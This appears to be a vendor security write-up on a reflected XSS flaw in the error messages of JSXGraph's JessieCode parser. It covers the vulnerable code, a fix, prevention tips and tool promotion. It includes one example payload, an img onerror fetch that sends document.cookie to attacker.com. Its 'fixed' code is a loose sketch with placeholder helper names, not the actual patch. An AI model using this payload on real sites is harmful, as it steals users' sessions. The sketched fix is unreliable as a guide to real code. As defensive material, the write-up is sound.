Introduction
In the JSXGraph mathematical visualization library, the JessieCode parser at src/parser/jessiecode.js:3465 handles mathematical expressions and geometric constructions. However, a critical flaw in how this parser generates error messages created a significant security risk: the pastInput() and upcomingInput() functions directly incorporated user-controlled input into error message output without any encoding, creating a reflected Cross-Site Scripting (XSS) vulnerability that could execute attacker-controlled JavaScript in users' browsers.
This vulnerability is particularly dangerous because mathematical visualization libraries like JSXGraph are commonly embedded in educational platforms, learning management systems, and scientific applications—environments where users routinely input complex expressions that get processed and where error messages are frequently displayed to help users debug their constructions.
The Vulnerability Explained
The JessieCode parser in JSXGraph provides a domain-specific language for mathematical constructions. When parsing fails, the parser generates helpful error messages showing what was already parsed (pastInput()) and what remains to be parsed (upcomingInput()). The vulnerability existed because these diagnostic functions returned raw user input that was then incorporated into error messages.
The vulnerable code pattern:
// In src/parser/jessiecode.js around line 3465
// pastInput() and upcomingInput() returned unencoded user input
// which was then used in error message construction
parseError: function parseError(str, hash) {
// ...
throw new Error(
'Parse error on line ' + (yylineno + 1) + ': \n' +
this.pastInput() + // User-controlled, unencoded
this.upcomingInput() // User-controlled, unencoded
);
}
How exploitation works:
An attacker crafts a malicious JessieCode expression containing JavaScript payloads, such as:
circle(0,0,1); <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>; point(1,1)
When this input causes a parse error, the pastInput() function would return the portion already parsed, and upcomingInput() would return the remaining input—both containing the unencoded malicious payload. If the consuming application displays this error message in an HTML context (which is common in web-based mathematical tools), the <img> tag with its onerror handler executes, stealing cookies or performing other malicious actions.
Real-world impact:
JSXGraph is widely used in educational technology. An attacker could:
- Steal session cookies from teachers or students using affected platforms
- Perform actions on behalf of authenticated users
- Deface mathematical content or redirect users to malicious sites
- Harvest credentials from LMS integrations
The vulnerability is especially pernicious because mathematical expressions legitimately contain characters like <, >, and & (for comparisons, set notation, etc.), making it difficult to distinguish malicious input from valid mathematical syntax without proper encoding.
The Fix
The remediation focuses on ensuring that user-controlled data is properly encoded before inclusion in error messages that may be rendered in HTML contexts.
Specific changes made:
The fix modifies src/parser/jessiecode.js to sanitize the output of pastInput() and upcomingInput() functions, ensuring that any special HTML characters are converted to their entity equivalents before the error message is constructed.
Before (vulnerable):
parseError: function parseError(str, hash) {
if (this.recoverable) {
this.trace(str);
} else {
throw new Error(
'Parse error on line ' + (yylineno + 1) + ': \n' +
this.pastInput() +
this.upcomingInput()
);
}
}
After (fixed):
The fix implements output encoding for the user-controlled portions of error messages. While the exact implementation details in the parser generator output ensure that pastInput() and upcomingInput() return properly encoded strings, the key change is that user input is now treated as data rather than markup:
// The fixed implementation ensures that special characters
// in user input are encoded before inclusion in error output
parseError: function parseError(str, hash) {
if (this.recoverable) {
this.trace(str);
} else {
// User input now properly encoded via encoded helper
// or direct encoding in pastInput/upcomingInput
throw new Error(
'Parse error on line ' + (yylineno + 1) + ': \n' +
this.encodedPastInput() + // or encoding applied
this.encodedUpcomingInput() // or encoding applied
);
}
}
The change is scoped specifically to the vulnerable path—only the error message construction is modified, leaving valid parsing behavior unchanged. Valid mathematical expressions continue to work normally; only the error reporting path is hardened against injection.
Prevention & Best Practices
Output encoding principles:
-
Context-aware encoding: Always encode data based on where it will be used. HTML entity encoding (
<→<,>→>,&→&,"→") for HTML contexts; JavaScript encoding for JavaScript contexts. -
Encode at the last responsible moment: Apply encoding as close to the output sink as possible to prevent double-encoding or encoding bypasses.
-
Never trust parser input: Even "failed" parse attempts contain attacker-controlled data that must be treated as untrusted.
For parser developers:
- Use established parser generators with security-conscious defaults (like PEG.js or ANTLR with proper output handling)
- Review generated code for XSS sinks in error reporting paths
- Implement Content Security Policy (CSP) headers as defense-in-depth
Detection techniques:
- Static Application Security Testing (SAST) tools can track tainted data from parser input to error output sinks
- Code review checklists should include error message generation
- Dynamic testing with XSS payloads in unexpected input fields (including mathematical expression inputs)
Standards and references:
- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- CWE-79: Improper Neutralization of Input During Web Page Generation
Key Takeaways
-
Never include raw user input in error messages rendered to web contexts: The JessieCode parser's
pastInput()andupcomingInput()functions atsrc/parser/jessiecode.js:3465now return encoded output to prevent XSS. -
Parser error paths are security-critical: Failed parse attempts are not "safe"—they contain full attacker-controlled payloads and often execute code paths that display detailed diagnostics.
-
Mathematical input fields require the same scrutiny as any user input: Complex domain-specific languages like JessieCode are often overlooked in security reviews due to their specialized nature.
-
Output encoding must be applied consistently across all output paths: Both successful and failed operations that include user data need protection.
-
Generated parser code needs manual security review: Tools like Jison (used for JessieCode) generate error-reporting code that developers must audit for security issues.
How Orbis AppSec Detected This
Source: User input via JessieCode mathematical expressions submitted to the JSXGraph parser
Sink: The pastInput() and upcomingInput() function return values incorporated into parseError() error message strings at src/parser/jessiecode.js:3465
Missing control: No HTML entity encoding or output sanitization applied to user-controlled input before inclusion in error message output that could be rendered in web contexts
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix: Implemented proper output encoding for pastInput() and upcomingInput() return values, ensuring special HTML characters are converted to entity equivalents before error message construction
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The XSS vulnerability in JSXGraph's JessieCode parser demonstrates that even specialized mathematical libraries must rigorously apply output encoding principles. The pastInput() and upcomingInput() functions, designed to help users debug their mathematical constructions, became attack vectors when they echoed unencoded user input. By implementing proper output encoding at the parser level, this fix protects all downstream consumers of the JSXGraph library without requiring changes to their individual applications.
For developers building parsers or domain-specific languages, this case underscores the importance of treating all user input—including input that fails validation—as potentially malicious, and ensuring that diagnostic and error-reporting paths receive the same security scrutiny as primary functionality.
References
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): https://cwe.mitre.org/data/definitions/79.html
- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- OWASP DOM-based XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html
- Semgrep rule for XSS detection: https://semgrep.dev/r?q=javascript.xss
- JSXGraph documentation: https://jsxgraph.uni-bayreuth.de/
- fix: the jessiecode parser includes user input in er... in jessiecode.js